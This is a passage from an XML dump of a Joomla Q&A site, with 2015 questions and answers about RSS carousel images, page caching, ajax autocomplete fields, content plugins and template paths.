$feed[$i]-&amp;gt;picture; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $feed[$i]-&amp;gt;title; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it outputs as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/&quot; alt=&quot;My news title 1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before updating it used to show the picture properly. My carousel code is as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;carousel-inner&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        $active = 'active';&#xA;        for ($i = 0; $i &amp;lt; $params-&amp;gt;get('rssitems', 5); $i++) :&#xA;            if (!$feed-&amp;gt;offsetExists($i)) {break;}&#xA;            $uri = (!empty($feed[$i]-&amp;gt;uri) || !is_null($feed[$i]-&amp;gt;uri)) ? $feed[$i]-&amp;gt;uri : $feed[$i]-&amp;gt;guid;&#xA;            $uri = substr($uri, 0, 4) != 'http' ? $params-&amp;gt;get('rsslink') : $uri; ?&amp;gt;&#xA;            &amp;lt;div class=&quot;item &amp;lt;?php echo $active; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php echo $feed[$i]-&amp;gt;picture; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $feed[$i]-&amp;gt;title; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;carousel-caption&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $feed[$i]-&amp;gt;uri; ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;?php echo $feed[$i]-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php &#xA;             $active = ''; &#xA;              endfor; &#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2015-03-30T07:57:17.233" LastActivityDate="2015-03-30T07:57:17.233" Title="My own carousel feed can not display RSS pictures since updated to 3.4.1" Tags="|module|joomla-3.4|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9247" PostTypeId="1" AcceptedAnswerId="9279" CreationDate="2015-03-27T16:00:16.197" Score="4" ViewCount="3023" Body="&lt;p&gt;I have a custom component I've built, and it has a search filter toolbar to filter results. The problem is that when Joomla caching is turned on, the filters get cached along with the page data-- so you submit the form to set new filters, and it simply returns the cached page, pre-filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you set a no-cache header or otherwise force Joomla to ignore the cached version of a view when you pass new parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT TO ADD:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The behavior happens with both Conservative or Progressive cache, happens with both File and Memcached. &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="126" LastEditDate="2016-01-21T23:06:01.113" LastActivityDate="2016-01-21T23:06:01.113" Title="Custom component no-cache setting" Tags="|joomla-3.x|component|cache|cache-handler|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9248" PostTypeId="2" ParentId="9081" CreationDate="2015-03-27T16:29:20.497" Score="1" Body="&lt;p&gt;Are you using xampp to run this locally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this is happening is in apache your root domain is set to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/htdocs/ (or something like that) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/htdocs/DemoOrg/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Leave the live site option as blank, that should fix it.&lt;/p&gt;&#xA;" OwnerUserId="3955" LastActivityDate="2015-03-27T16:29:20.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9249" PostTypeId="1" CreationDate="2015-03-27T16:53:35.700" Score="2" ViewCount="277" Body="&lt;p&gt;I'm using a template of Shape 5, called GCK Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to remove the TOOLTIPS from the inputs fields, or at least, improve them with CSS, but I don't find any solution... do you have any idea about how to disable them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YyRaL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LINK OF THE WEBSITE: &lt;a href=&quot;http://tienda.ganeshgrow.es/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tienda.ganeshgrow.es/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="3573" LastEditDate="2015-04-08T09:10:51.377" LastActivityDate="2015-04-08T13:38:49.610" Title="Joomla 3 - Tooltips" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9251" PostTypeId="2" ParentId="9249" CreationDate="2015-03-27T20:23:37.663" Score="2" Body="&lt;p&gt;inside the configuration area of the template there is an option to disable them, they are also disabled by default, so someone turned it on.&lt;/p&gt;&#xA;" OwnerUserId="3955" LastActivityDate="2015-03-27T20:23:37.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9252" PostTypeId="2" ParentId="7194" CreationDate="2015-03-27T21:17:30.443" Score="1" Body="&lt;p&gt;try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^/(foldername|foldername/.*)$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your .htaccess file, replace &quot;foldername&quot; with your folder&lt;/p&gt;&#xA;" OwnerUserId="3955" LastActivityDate="2015-03-27T21:17:30.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9253" PostTypeId="2" ParentId="9237" CreationDate="2015-03-27T21:19:00.137" Score="1" Body="&lt;p&gt;You'd add a &lt;code&gt;delete()&lt;/code&gt; method to your object's model, and do what you need to do in there. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC' ) or die( 'Restricted access');&#xA;jimport('joomla.application.component.model');&#xA;&#xA;class myCourse extends JModelLegacy&#xA;{&#xA;&#xA;// DELETE COURSE&#xA;public function delete($pks)&#xA;{&#xA;    // Initialise variables.&#xA;    $table  = $this-&amp;gt;getTable();&#xA;    $pks    = (array) $pks;&#xA;&#xA;    // do checks for corresponding data in here&#xA;    // code code code &#xA;    // end check code stuff&#xA;&#xA;    // Attempt to change the state of the records.&#xA;    if (!$table-&amp;gt;delete($pks)) {&#xA;        // throw error&#xA;    }&#xA;    // do something else if needed like return success message or enqueue message&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-27T21:19:00.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9254" PostTypeId="1" CreationDate="2015-03-27T22:07:54.167" Score="3" ViewCount="2492" Body="&lt;p&gt;I'm completely lost at creating a autocomplete function for a form field. Even thought the thing I want is pretty simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a form for the backend. Now I have a text field which I basically want to be autocompleted with data from a table of my database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;strong&gt;form.xml&lt;/strong&gt; the field looks just like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;field&#xA;            name=&quot;studio_id&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;COM_MYCOMPONENT_STUDIO_LABEL&quot;&#xA;            description=&quot;COM_MYCOMPONENTSTUDIO_DESC&quot;&#xA;            size=&quot;100&quot;&#xA;            class=&quot;span5&quot;&#xA;            default=&quot;&quot;&#xA;            /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this purpose I took a code I've already used for autocomplete function and there it worked perfect.&#xA;This is the JQuery code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( &quot;#jform_studio_id&quot; ).autocomplete({&#xA;&#xA;minLenght:0,&#xA;&#xA;source: function( request, response ) {&#xA;                  $.ajax({&#xA;                    url : 'index.php?format=raw&amp;amp;option=com_mycomponent&amp;amp;task=testing',&#xA;                    dataType: &quot;raw&quot;,&#xA;                    type: &quot;POST&quot;,&#xA;                    data: {search: request.term,},&#xA;&#xA;                    success: function( data ) {&#xA;                        response( $.map( data, function( item ) {&#xA;                            return {&#xA;                                label: item.studio_name,&#xA;                                studio_id: item.studio_id&#xA;                            }&#xA;                        }));&#xA;                    }&#xA;                  });&#xA;              },&#xA;&#xA;select: function( event, ui ) {&#xA;&#xA;    $(&quot;#jform_studio_id&quot;).val(ui.item.studio_id);&#xA;},&#xA;&#xA;messages: {&#xA;    noResults: '',&#xA;    results: function() {}&#xA;},&#xA;&#xA;open: function() { &#xA;    $(&quot;ul.ui-menu&quot;).width( $(this).innerWidth() );&#xA;}&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I've read, for this case I would have to create a method in the main entry file of my component &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mycomponent.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class MyComponentControllerAjax extends JControllerLegacy&#xA;{&#xA;    protected $default_view = 'mycomponent';&#xA;&#xA;    public function testing() {&#xA;&#xA;        $studios[] = array('studio_id' =&amp;gt; '1', 'studio_name' =&amp;gt; 'studio');&#xA;&#xA;        echo json_encode($studios);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like I said I'm completely lost. I've tried several different things. Searched for solutions several hours but I couldn't find something that solved my problem. I hope someone can give me a shove into the right direction.&lt;/p&gt;&#xA;" OwnerUserId="3972" LastEditorUserId="3972" LastEditDate="2015-03-30T15:55:19.970" LastActivityDate="2015-03-31T04:27:16.533" Title="Joomla backend form with ajax autocomplete" Tags="|ajax|joomla-3.4|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9257" PostTypeId="2" ParentId="9254" CreationDate="2015-03-28T12:57:19.077" Score="2" Body="&lt;p&gt;Use jQuery() instead of $(). The Joomla administrator uses jQuery in &lt;a href=&quot;https://api.jquery.com/jquery.noconflict/&quot; rel=&quot;nofollow&quot;&gt;no conflict mode&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-28T12:57:19.077" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9258" PostTypeId="1" CreationDate="2015-03-28T13:51:30.590" Score="1" ViewCount="243" Body="&lt;p&gt;I am running a Joomla 3.3.6 site in a hosted environment (Startlogic) and I see that my File Cache Handler option is no longer available.  It used to be an option at some point and now it is gone.  Cache_Lite is currently my only option.  I have found that for my site the File Cache Handler was much faster so it would be nice to have it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a cache directory and it is set to 755 permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article was helpful but not really my situation : &lt;a href=&quot;https://joomla.stackexchange.com/questions/4531/joomla-cache-handler-only-shows-memcached&quot;&gt;Joomla cache handler only shows memcached&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3974" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-03-28T13:51:30.590" Title="File Cache option is missing" Tags="|joomla-3.x|performance|cache|" AnswerCount="0" CommentCount="0" ClosedDate="2016-03-17T02:16:31.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="9259" PostTypeId="2" ParentId="7227" CreationDate="2015-03-28T19:17:01.863" Score="1" Body="&lt;p&gt;I would solve this problem by adding a module to your footer position. Define in a CSS not to display the menu, except of the li tag with the class &quot;item-xxx active deeper parent&quot;&lt;/p&gt;&#xA;" OwnerUserId="3975" LastActivityDate="2015-03-28T19:17:01.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9261" PostTypeId="1" CreationDate="2015-03-29T14:03:28.823" Score="1" ViewCount="60" Body="&lt;p&gt;I have written a simple plugin to include custom content against Joomla articles. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA;&#xA;class plgContentHomegrid extends JPlugin {&#xA;&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    function onContentPrepareForm($form, $data) {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        switch($option) {&#xA;&#xA;            case 'com_content':&#xA;                if ($app-&amp;gt;isAdmin()) {&#xA;&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;&#xA;                        $form-&amp;gt;loadFile('homegrid', false);&#xA;&#xA;                }&#xA;&#xA;                return true;&#xA;&#xA;        }&#xA;&#xA;        return true;&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, the additional fields are displayed as a separate tab in admin, data saves correctly and everything's perfect. So far so good...however, I only want to display the additional tab on the home page. So, I amended the code so the additional form is only displayed for the home page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if( $data-&amp;gt;featured == 1 ){&#xA;&#xA;    $form-&amp;gt;loadFile('homegrid', false);&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form now only displays on the home page admin screen as needed BUT the data is not saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is partially explained by &lt;a href=&quot;https://joomla.stackexchange.com/questions/3822/content-plugin-loadfile-loads-conditional-form-data-but-does-not-save-the-data&quot;&gt;this issue&lt;/a&gt;, but I'm not clear how I can amend the code so that the form is conditionally displayed AND saved.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-04-01T10:29:37.290" Title="Custom content plugin not saving data when conditionally restricted to single page" Tags="|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9262" PostTypeId="2" ParentId="9261" CreationDate="2015-03-29T14:17:18.623" Score="1" Body="&lt;p&gt;EDITED: (Seems this thread is a DIY one...)&#xA;Got it....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$formData = new JInput($input-&amp;gt;get('jform', '', 'array'));&#xA;&#xA;if( $data-&amp;gt;featured == 1 || $formData-&amp;gt;getInt('featured', 0) == 1){&#xA;&#xA;   $form-&amp;gt;loadFile('homegrid', false);&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the trick.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="3978" LastEditDate="2015-04-01T10:07:37.520" LastActivityDate="2015-04-01T10:07:37.520" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9263" PostTypeId="1" AcceptedAnswerId="9273" CreationDate="2015-03-29T14:59:54.530" Score="5" ViewCount="8495" Body="&lt;p&gt;I am developing a custom module, and I need this module to show selected some pictures selected in the backend. So, I declare a parameter with type &quot;imagelist&quot; in my module xml file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;project1-image&quot;&#xA;                type=&quot;imagelist&quot;&#xA;                directory=&quot;???\images&quot;&#xA;                label=&quot;...&quot;&#xA;                description=&quot;...&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is the &quot;images&quot; directory is located in some Joomla template. Is there some constant like &quot;JPATH_COMPONENT&quot; or &quot;JPATH_BASE&quot; pointing to currently applied template to site? Or do I need to force site admin to write filename and find it in php file of my module (which seems like a bad solution).&lt;/p&gt;&#xA;" OwnerUserId="3979" LastEditorUserId="115" LastEditDate="2015-11-20T14:37:35.680" LastActivityDate="2016-01-18T09:58:16.920" Title="Joomla constant to current template path" Tags="|joomla-3.x|templates|module-params|images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9264" PostTypeId="1" CreationDate="2015-03-29T16:09:10.567" Score="2" ViewCount="1376" Body="&lt;p&gt;What I need to do:&#xA;Create a sample site using T3 Purity3 template that looks exactly like this:&#xA;&lt;a href=&quot;http://purity_iii.demo.joomlart.com/index.php/layout/new-layouts/blog&quot; rel=&quot;nofollow&quot;&gt;http://purity_iii.demo.joomlart.com/index.php/layout/new-layouts/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First I installed Joomla localy via XAMPP, then installed T3 Framework via extension manager, then installed Purity3 via extension manager.&lt;/li&gt;&#xA;&lt;li&gt;Then I created few sample articles with random words inside to work with.&lt;/li&gt;&#xA;&lt;li&gt;Then I changed site layout and menu layout to blog.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should be enough but sadly it looks nothing like the demo. My articles aren't expendable but spread whole page long one above another. I don't have right sidebar Blog Tags, Chronology nor Categories. I don't even have page changer below articles that spread new articles between multiple pages (pushing old ones firther). Basically instead of demo clone I have one big nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I can't find any reliable tutorial on how to make this on my own. JA tutorial which i found there:&#xA;&lt;a href=&quot;http://www.joomlart.com/documentation/purity-iii/layout-in-details#default-layout&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlart.com/documentation/purity-iii/layout-in-details#default-layout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is worth nothing because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know where to find half the menu's they mention here, and&#xA;obviously tutorial don't mention it,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Screenshots are from linux version or stylized to look like so&#xA;    which destroys all readability,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the end what I need is to make sample blog fast and easy. That's why I installed Joomla and Purity3 in first place. Good guide (self made or link to one) would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3981" LastActivityDate="2015-03-29T18:35:51.737" Title="How to create sample T3 Purity3 site" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9265" PostTypeId="2" ParentId="9264" CreationDate="2015-03-29T18:35:35.353" Score="1" Body="&lt;p&gt;You should download and install the &lt;a href=&quot;https://www.joomlart.com/documentation/purity-iii/installation-and-folder-structure#quickstart&quot; rel=&quot;nofollow&quot;&gt;quickstart package&lt;/a&gt;. It's a zip-file containing an exact copy of the demo site, including both Joomla, the Purity III template and any extension used in the demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to download the quickstart package here: &lt;a href=&quot;http://www.joomlart.com/forums/downloads.php?do=cat&amp;amp;id=519&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlart.com/forums/downloads.php?do=cat&amp;amp;id=519&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is not to be installed from the Joomla extension manager. You install it like you install Joomla (unzip to a subfolder of your your XAMPP &lt;code&gt;htdocs&lt;/code&gt; folder, visit &lt;a href=&quot;http://localhost/yoursubfolder&quot; rel=&quot;nofollow&quot;&gt;http://localhost/yoursubfolder&lt;/a&gt; and follow the instructions. More details can be found at the &lt;a href=&quot;https://www.joomlart.com/documentation/purity-iii/installation-and-folder-structure#quickstart&quot; rel=&quot;nofollow&quot;&gt;Purity III documentation site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, you can either build your site using the demo, or use the demo as reference for your own site to see exactly how each part is set up.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-29T18:35:35.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9266" PostTypeId="2" ParentId="9264" CreationDate="2015-03-29T18:35:51.737" Score="2" Body="&lt;p&gt;Rather than manually installing Joomla, then the T3 framework and then the template, I would strongly suggest you use the Quick Start package which contains everything in 1 bundle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When installing it asks you if you would like to install any sample data, there should be a custom option that will set up all articles and extensions that you see on the demo site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the screenshot below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVWIs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-29T18:35:51.737" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9270" PostTypeId="2" ParentId="9234" CreationDate="2015-03-30T07:51:18.440" Score="2" Body="&lt;p&gt;&lt;code&gt;$this-&amp;gt;params&lt;/code&gt; is the &lt;code&gt;Registry&lt;/code&gt; class which implements &lt;code&gt;ArrayAccess&lt;/code&gt; so the properties of the registry can be accessed as an array. This allows you to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i = 1;&#xA;&#xA;foreach ($this-&amp;gt;params as $parameter)&#xA;{&#xA;    $property = 'simple_name' . $i;&#xA;    $this-&amp;gt;{$property} = $parameter;&#xA;&#xA;    $i++;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-03-30T07:51:18.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9271" PostTypeId="2" ParentId="9246" CreationDate="2015-03-30T07:54:58.733" Score="0" Body="&lt;p&gt;After a deep investigation, I have found that I had modified &lt;code&gt;libraries/joomla/feed/feed.php&lt;/code&gt; adding &lt;code&gt;picture&lt;/code&gt; key to the &lt;code&gt;$properties&lt;/code&gt; array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    protected $properties = array(&#xA;    'uri' =&amp;gt; '',&#xA;    'title' =&amp;gt; '',&#xA;    'updatedDate' =&amp;gt; '',&#xA;    'description' =&amp;gt; '',&#xA;    'categories' =&amp;gt; array(),&#xA;    'contributors' =&amp;gt; array(),&#xA;    'picture' =&amp;gt; '' //this line&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also found that I had changed &lt;code&gt;libraries/joomla/feed/parser/rss.php&lt;/code&gt;&#xA;Added keys respectively where needed. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//line 112&#xA;protected function handlePicture(JFeed $feed, SimpleXMLElement $el) {&#xA;    $feed-&amp;gt;picture = (string) $el;&#xA;}&#xA;&#xA;...&#xA;&#xA;&#xA;//line 355&#xA;    protected function processFeedEntry(JFeedEntry $entry, SimpleXMLElement $el) {&#xA;    $entry-&amp;gt;uri = (string) $el-&amp;gt;link;&#xA;    $entry-&amp;gt;title = (string) $el-&amp;gt;title;&#xA;    $entry-&amp;gt;publishedDate = (string) $el-&amp;gt;pubDate;&#xA;    $entry-&amp;gt;updatedDate = (string) $el-&amp;gt;pubDate;&#xA;    $entry-&amp;gt;content = (string) $el-&amp;gt;description;&#xA;    $entry-&amp;gt;guid = (string) $el-&amp;gt;guid;&#xA;    $entry-&amp;gt;comments = (string) $el-&amp;gt;comments;&#xA;    $entry-&amp;gt;picture = (string) $el-&amp;gt;picture;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After modifying current version's files according to previous version's it works now.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2015-03-30T07:54:58.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9273" PostTypeId="2" ParentId="9263" CreationDate="2015-03-30T11:20:18.843" Score="1" Body="&lt;p&gt;If you enter a directory value, it will be relative to the root of you Joomla installation. Thus, if you want to get images from your template, simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;directory=&quot;templates/TEMPLATE_NAME/images&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can only be used for a predefined template and &lt;strong&gt;cannot&lt;/strong&gt; be used for the &lt;em&gt;current&lt;/em&gt; template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, you will need to create a custom form field. I would suggest copying the &lt;code&gt;imagelist&lt;/code&gt; form field and changing the paths&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-30T11:20:18.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9274" PostTypeId="2" ParentId="9254" CreationDate="2015-03-30T11:58:42.250" Score="1" Body="&lt;p&gt;I think your url is not pointing correctly. &#xA;First thing your controller name is not clear here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JpanimesController&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_component_name}Controller{controller_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?format=raw&amp;amp;option=com_mycomponent&amp;amp;task=testing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?format=raw&amp;amp;option=com_mycomponent&amp;amp;task={your_full_controller_name}.testing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:- Here is the code i successfully implemented a months earlier, here bd.jQuery == jQuery == $&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( &quot;#agents&quot; ).autocomplete({&#xA;            source: function (request, response){&#xA;                bd.jQuery.ajax(&#xA;                    {&#xA;                        url:&quot;index.php?option=com_jestate&amp;amp;view=company&amp;amp;task=company.getUserAgentList&amp;amp;tmpl=component&quot;,&#xA;                        data:&#xA;                        {&#xA;                            query: request.term&#xA;                        },&#xA;                        success: function(data)&#xA;                        {&#xA;                            todisplay = [];&#xA;                            data = jQuery.parseJSON(data);&#xA;                            bd.jQuery(data).each(function(key,val){&#xA;                               insert = '{&quot;label&quot;:&quot;'+val.username+'&quot;,&quot;value&quot;:&quot;'+val.username+'&quot;,&quot;user_id&quot;:&quot;'+val.id+'&quot;}';&#xA;                               todisplay.push(JSON.parse(insert));&#xA;                            });&#xA;                            response(todisplay);&#xA;                        }&#xA;                    });&#xA;            },&#xA;            select:function(event,ui){&#xA;                if(bd.jQuery('#'+ui.item.user_id).length != 0){&#xA;                    alert('Agent Already Added');&#xA;                }else{&#xA;                    detail =  '&amp;lt;div id=&quot;'+ui.item.user_id+'&quot;&amp;gt;';&#xA;                    detail +=  '&amp;lt;span&amp;gt;'+ui.item.value+'&amp;lt;/span&amp;gt;';&#xA;                    detail +=  '&amp;lt;input type=&quot;hidden&quot; value=&quot;'+ui.item.user_id+'&quot; name=&quot;agentSelected[]&quot;/&amp;gt;';&#xA;                    detail += '&amp;lt;a href=&quot;#&quot; class=&quot;removeAgent&quot;&amp;gt; Remove&amp;lt;/a&amp;gt;';&#xA;                    detail +=  '&amp;lt;/div&amp;gt;';&#xA;                    bd.jQuery('#agentList').append(detail);&#xA;                    bd.jQuery('.removeAgent').on('click',function(e){&#xA;                        e.preventDefault();&#xA;                        bd.jQuery(this).parent().remove();&#xA;                    });&#xA;                    bd.jQuery(this).val('');&#xA;                    return false;&#xA;                }&#xA;            }&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="487" LastEditorUserId="487" LastEditDate="2015-03-31T04:27:16.533" LastActivityDate="2015-03-31T04:27:16.533" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
